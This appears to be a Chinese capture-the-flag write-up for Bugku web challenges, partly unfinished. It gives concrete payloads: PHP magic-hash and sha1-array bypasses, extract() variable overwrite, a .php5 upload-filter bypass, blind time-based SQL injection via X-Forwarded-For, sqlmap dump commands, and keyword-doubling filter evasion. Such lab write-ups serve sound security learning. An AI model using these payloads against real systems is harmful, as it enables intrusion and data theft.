bugku web题 33-40 wp
md5 collision
要求input a,题目提示很清楚了。
利用php的特性:
PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
0e开头的MD5汇总
payload:?a=s878926199a
各种绕过
php审计:
<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])
print 'passwd can not be uname.';
else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
die('Flag: '.$flag);
else
print 'sorry!';
}
?>
要求: $_GET['uname'] != $_POST['passwd']
sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin')
sha1函数漏洞:
sha1()函数无法处理数组类型,将报错并返回NULL
构造:
uname[]=a;
passwd[]=b;
id=margin;
得到flag
web8
hint:txt??!
审计:
<?php
extract($_GET); //extract() 函数从数组中将变量导入到当前的符号表。
if (!empty($ac))
{
$f = trim(file_get_contents($fn));//trim()去除字符串首尾处的空白字符(或者其他字符)
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
要求: extract($_GET)
$f = trim(file_get_contents($fn))
$ac === $f
提示有txt文件,经尝试发现:flag.txt
内容为:flags
构造payload: http://120.24.86.145:8002/web8/?ac=flags&fn=flag.txt
得到flag
细心
hint:想办法变成admin
打开页面如下:
没有任何线索。最后在robot.txt下发现如下内容:
User-agent: *
Disallow: /resusl.php
robot.txt是网站爬虫规则的描述,相关自行百度。
打开result.php:
payload: http://120.24.86.145:8002/web13/resusl.php?x=admin
额,鬼知道他这个密码是哪来的,就当是撞默认密码吧。或者用字典**。
求getshell
先说解法:
上传1.php.jpg
用burp抓包,找到content-type字段: Content-Type: multipart/form-data; boundary=---------------------------146043902153
修改 multipart/form-data
的大小写,
最后将文件后缀改为 .php5
,提交得到flag。
这题我还没弄明白
网上说这题是后缀名黑名单检测和类型检测
php别名:php2, php3, php4, php5, phps, pht, phtm, phtml(只有php5没被过滤)
至于为什么修改content-Type大小写可以绕过,我还没搞懂。
INSERT INTO注入
给出代码如下:
error_reporting(0);
function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
/************获取IP*************************************/
$ip_arr = explode(',', $ip);//过滤逗号
return $ip_arr[0];
}
$host="localhost";
$user="";
$pass="";
$db="";
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");
$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);
可以看到,这是X-Forwarded-For
的注入,而且过滤了逗号,
。在过滤了逗号的情况下,我们就不能使用if语句了,在mysql中与if有相同功效的就是: select case when 语句1 then 语句1 else 语句1 end;
当语句1为真,执行语句2,否则执行语句3
而且由于逗号,被过滤,我们就不能使用substr
、substring
了,但我们可以使用:from 1 for 1
,所以最终我们的payload如下: 127.0.0.1'+(select case when substr((select flag from flag) from 1 for 1)='a' then sleep(5) else 0 end))-- +
脚本之后补上。
这是一个神奇的登陆框
打开页面显示一个登陆框:
测试语句:' " / \ | )
报错,这意味着该页面无法处理某些特殊字符,可能存在注入。
分析报错语句得到变量由"
包裹。
测试语句:admin_name=" or 1=1#&admin_passwd=&submit=GO GO GO
爆出用户名字段,存在注入。
丢进sqlmap:
因为是post请求,用burp抓包保存请求头文件bugku.txt
爆数据库:python sqlmap.py -r "C:\Users\horyit\Desktop\杂项\bugku.txt" -p admin_name --dbs
爆表名:python sqlmap.py -r "C:\Users\horyit\Desktop\杂项\bugku.txt" -p admin_name -D bugkusql1 --tables
爆字段名:python sqlmap.py -r "C:\Users\horyit\Desktop\杂项\bugku.txt" -p admin_name -D bugkusql1 -T flag1 --columns
获取数据:python sqlmap.py -r "C:\Users\horyit\Desktop\杂项\bugku.txt" -p admin_name -D bugkusql1 -T flag1 -C --dump
ps:爆字段名是出现问题,手注显示错误Got error 28 from storage engine
,百度无果,感觉是题出了问题。但做题的逻辑应该就是这样。
flag:flag{ed6b28e684817d9efcaf802979e57aea}
多次
经测试:单引号报错,加注释返回正常,有过滤。
判断过滤:异或注入(同假异真),过滤了union,select,or(注意order里面有or,这是个坑),and
关于异或注入
尝试绕过:重写 如:union –>uniunionon
发现可以绕过
payload:http://120.24.86.145:9004/1ndex.php?id=1' uniounionn selecselectt 1,2%23
之后就是常规操作。
出了一点问题,之后补上。
上一篇: android Q 添加系统服务,selinux权限配置
下一篇: 单链表实现多项式乘法